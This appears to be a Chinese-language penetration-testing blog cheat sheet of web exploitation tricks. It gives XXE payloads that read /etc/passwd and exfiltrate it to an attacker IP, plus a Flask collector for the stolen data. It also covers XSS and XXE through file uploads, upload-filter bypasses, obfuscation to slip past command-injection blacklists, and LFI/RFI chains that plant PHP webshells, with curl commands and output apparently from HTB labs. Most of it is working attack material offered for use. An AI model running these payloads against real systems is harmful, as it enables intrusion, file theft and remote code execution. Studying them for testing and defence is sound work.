渗透测试--Web基础漏洞利用技巧
本文章写了Web基础漏洞中一些不那么常见的利用技巧,而不谈及漏洞的原理以及常见用法。
SQL
俺是SQLmap党,哈哈,所以这块就不多讲了。详情可见文章《渗透测试--SQLmap_渗透测试sqlmap-CSDN博客》
XXE
XXE组成情况
钥匙 | 定义 | 例子 |
---|---|---|
Tag |
XML 文档的键,通常用 ( < / > ) 字符括起来。 |
<date> |
Entity |
XML 变量,通常用 ( & / ; ) 字符括起来。 |
< |
Element |
根元素或其任何子元素,其值存储在开始标记和结束标记之间。 | <date>01-01-2022</date> |
Attribute |
存储在标签中的任何元素的可选规范,可供 XML 解析器使用。 | version="1.0" /encoding="UTF-8" |
Declaration |
通常是 XML 文档的第一行,定义解析时使用的 XML 版本和编码。 | <?xml version="1.0" encoding="UTF-8"?> |
XXE回显点
输入的xml中会回显的内容
报错位置可能存在回显点
<!ENTITY % file SYSTEM "file:///flag.php">
<!ENTITY % error "<!ENTITY content SYSTEM '%nonExistingEntity;/%file;'>">
服务器外带
#远程DTD文件
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://OUR_IP:8000/?content=%file;'>">
#XXE攻击交互
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [
<!ENTITY % remote SYSTEM "http://OUR_IP:8000/xxe.dtd">
%remote;
%oob;
]>
<root>&content;</root>
###外带python搭建服务器,个人使用,不喜勿喷
###解码后的文件存储于服务器中,传输成功显示404。
from flask import Flask, request, jsonify
import base64
import os
import uuid
from datetime import datetime
app = Flask(__name__)
# 定义存储文件的目录
SAVE_DIRECTORY = 'decoded_files'
# 如果目录不存在,则创建目录
if not os.path.exists(SAVE_DIRECTORY):
os.makedirs(SAVE_DIRECTORY)
@app.route('/decode', methods=['GET'])
def decode_content():
content = request.args.get('content')
if content:
try:
# Base64 解码
decoded_content = base64.b64decode(content).decode('utf-8')
# 生成唯一文件名
file_name = f"{datetime.now().strftime('%Y%m%d_%H%M%S')}_{str(uuid.uuid4())}.txt"
file_path = os.path.join(SAVE_DIRECTORY, file_name)
# 将解码后的内容写入文件
with open(file_path, 'w', encoding='utf-8') as f:
f.write(decoded_content)
return jsonify({
'status': 'Notfound',
'message': '404'
})
except Exception as e:
return jsonify({
'status': 'error',
'message': f"Error decoding base64 content: {str(e)}"
})
else:
return jsonify({
'status': 'error',
'message': "No 'content' parameter found in the request."
})
if __name__ == '__main__':
app.run(debug=True, host='0.0.0.0', port=5000)
XXE导致任意文件读取
#无害实体
<!DOCTYPE email [
<!ENTITY company "Inlane Freight">
]>
#文件泄露
<!DOCTYPE email [
<!ENTITY company SYSTEM "file:///etc/passwd">
]>
#源代码获取
<!DOCTYPE email [
<!ENTITY company SYSTEM "php://filter/convert.base64-encode/resource=index.php">
]>
#输出文件内容不以XML格式生成
<!DOCTYPE email [
<!ENTITY % begin "<![CDATA[">
<!ENTITY % file SYSTEM "file:///var/www/html/submitDetails.php">
<!ENTITY % end "]]>">
<!ENTITY % xxe SYSTEM "http://10.10.16.20/xxe.dtd">
%xxe;
]>
#引用实体
&company;
XXE导致SSRF
XXE导致RCE
#RCE
<!DOCTYPE email [
<!ENTITY company SYSTEM "php://expect:">
]>
XXE自动化工具
https://github.com/enjoiz/XXEinjector
XSS
基本的绕过手段都在网上可查
文件上传
文件上传木马文件
老生常谈了,基本的文件上传利用,在此不做赘述,我知道你们喜欢更有意思的
文件上传导致XSS
如果上传文件的内容在HTLM当中存在回显,我们应当十分注意,这可能造成XSS。造成XSS主要有以下情况:
1.接受文件接受HTLM的文档,有时候开发人员会犯一点小错误,也就是说,HTML会解析JS
2.接受文件内容以未编码形式展示在HTLM页面中,那么我们可以送他们一个<>来闭合他们的标签
3.接受文件名可能会回显,例如我们好心的开发人员会再次念出我们文件的名字。
接受文件接受HTLM的文档
###上传文件HTML
#发送HTML页面代码
<body>
<div>Hey Guys!</div>
<script>alert("You are pWn3d!")</script>
</body>
#服务器端接受并解析HTLM文件
<body>
<div>Hey Guys!</div>
<script>alert("You are pWn3d!")</script>
</body>
接受文件内容以未编码形式展示在HTLM页面中
###接受文件内容未编码情况嵌入HTML中
#上传文件
filename="evil.jpg"
content='''
><img src=1 onerror=alert(1)
'''
#接受未编码jpg文件的内容直接放出来
<body>
<img><img src=1 onerror=alert(1)>
<body>
接受文件名可能会回显
###接受文件名回显
#上传文件
filename="<script>alert(1)</script>.txt"
#上传成功页面
<body>
<p> 恭喜你上传成功<script>alert(1)<script>.txt文件! </p>
<body>
文件上传导致XXE
svg文件的上传点可能导致XXE问题,因为svg文件本身是以xml解析的,如果没有很好的控制,XXE就会冒头。
###svg文件上传导致XXE
#上传文件
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg>&xxe;</svg>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<svg>&xxe;</svg>
#svg文件被接受并作为头像
很好他死了!
文件上传绕过黑名单
枚举可扩展名,总有一款适合他
文件上传绕过白名单
双扩展
反向双扩展
字符注入
双扩展
#只接受.jpg
.php.jpg
反向双扩展
#只接受.jpg
.jpg.php
字符注入
#只接受.jpg
.jpg{char}.php
char = [
'%00',
'%0a',
'%20',
'%0d0a',
'.\',
'/',
'.',
'...',
':'
]
寻找文件上传位置
上传了宝贝,这种好事儿总不能让服务器一个人独享,我们必须找到他。
过长文件名让应用报错
发送已经存在的文件
在页面中查看图片的引用位置
命令注入
命令注入是我们非常期望的东西了,因为他可以直接造成RCE,这很严重。自然这种攻击的防护也就最为众多。我们需要总结出一套绕过他们的手段。
命令注入可以注入的操作字符
注入操作符 | 注塑件 | URL 编码字符 | 执行的命令 |
---|---|---|---|
分号 | ; |
%3b |
两个都 |
新线 | \n |
%0a |
两个都 |
背景 | & |
%26 |
两者(第二个输出通常首先显示) |
管道 | ` | ` | %7c |
和 | && |
%26%26 |
两者(仅当第一个成功时) |
或者 | ` | ` | |
子壳 | ```````` | %60%60 |
两者(仅限 Linux) |
子壳 | $() |
%24%28%29 |
两者(仅限 Linux) |
注射类型 | 运算符 |
---|---|
SQL 注入 | ' , ; -- /* */ |
命令注入 | ; && |
LDAP 注入 | * ( ) & ` |
XPath 注入 | ' or and not substring concat count |
操作系统命令注入 | ; & ` |
代码注入 | ' ; -- /* */ $() ${} #{} %{} ^ |
目录遍历/文件路径遍历 | ../ ..\\ %00 |
对象注入 | ; & ` |
XQuery 注入 | ' ; -- /* */ |
Shellcode 注入 | \x \u %u %n |
标头注入 | \n \r\n \t %0d %0a %09 |
黑名单绕过之字符替换
%09 空格替代
${IFS} 制表符和空格
{ls,-al} 等于"ls -al",可用于替代空格
${PATH:0:1} 等于/ 该方法的原理是使用了Linux中的环境变量和字符串切割
${LS_COLORS:10:1} 等于; 该方法的原理是使用了Linux中的环境变量和字符串切割
$env:HOMEPATH[0] 等于/ 该方法的原理是使用了Win中的环境变量和字符串切割
$env:PROGRAMFILES[10] 等于空格 该方法的原理是使用了Win中的环境变量和字符串切割
' 等于空气 bash语言会无视它,who'am'i
" 等于空气 bash语言会无视它
$@ 等于空气 bash语言会无视它
\ 等于空气 bash语言会无视它
WhAMi 大小写大法! 仅适用于Windows
使用案例
#base64编码
echo -n 'cat /etc/passwd | grep 33' | base64
#Linux
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi")
$(a="WhOaMi";printf %s "${a,,}")
$(rev<<<'imaohw')
$('imaohw'[-1..-20] -join '')
$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==) ##实际尝试发现这种情况下不能编码空格
`{base64,-d}<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==` ##这种方式可以编码空格
#Windows
$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('dwBoAG8AYQBtAGkA')))
自动化工具Bashfuscator
Linux - 我们可以利用Bashfuscator
Windows - DOSfuscation
LFI
可能发生包含的语言
PHP
NodeJS
Java
.net
data协议包含执行导致RCE
cmundy2@htb[/htb]$ curl -s 'http://<SERVER_IP>:<PORT>/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id' | grep uid
uid=33(www-data) gid=33(www-data) groups=33(www-data)
php伪协议包含执行导致RCE
cmundy2@htb[/htb]$ curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://<SERVER_IP>:<PORT>/index.php?language=php://input&cmd=id" | grep uid
uid=33(www-data) gid=33(www-data) groups=33(www-data)
expect函数执行URL流导致RCE
##在后端服务器安装expect
#检验是否暗装expect
echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep expect
extension=expect
#若开启该插件,那么就可以RCE而不需要webshell
cmundy2@htb[/htb]$ curl -s "http://<SERVER_IP>:<PORT>/index.php?language=expect://id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
RFI从远程FTP服务器执行文件导致RCE
cmundy2@htb[/htb]$ curl 'http://<SERVER_IP>:<PORT>/index.php?language=ftp://user:pass@localhost/shell.php&cmd=id'
...SNIP...
uid=33(www-data) gid=33(www-data) groups=33(www-data)
RFI从远程HTTP服务器执行文件导致RCE
http://<SERVER_IP>:<PORT>/index.php?language=http://<OUR_IP>:<LISTENING_PORT>/shell.php&cmd=id
RFI从远程SMB服务器执行文件导致RCE
http://<SERVER_IP>:<PORT>/index.php?language=\\<OUR_IP>\share\shell.php&cmd=whoami
LFI包含任意扩展名文件
不论是本地的还是远程的皆有可能,=3=
###gif包含
cmundy2@htb[/htb]$ echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif
http://<SERVER_IP>:<PORT>/index.php?language=./profile_images/shell.gif&cmd=id
###PHP包含
cmundy2@htb[/htb]$ echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php
http://<SERVER_IP>:<PORT>/index.php?language=zip://./profile_images/shell.jpg%23shell.php&cmd=id
###phar包含
cat shell.php
<?php
$phar = new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('shell.txt', '<?php system($_GET["cmd"]); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();
#构造phar文件
cmundy2@htb[/htb]$ php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg
http://<SERVER_IP>:<PORT>/index.php?language=phar://./profile_images/shell.jpg%2Fshell.txt&cmd=id
向日志投毒然后使用LFI包含日志导致RCE
#修改Agent 将php代码写入日志当中
#然后爆破日志位置
#根据日志位置包含日志,执行php脚本
http://<SERVER_IP>:<PORT>/index.php?language=/var/log/apache2/access.log
#这些都可以
/var/log/sshd.log
/var/log/mail
/var/log/vsftpd.log
/proc/self/environ
/proc/self/fd/N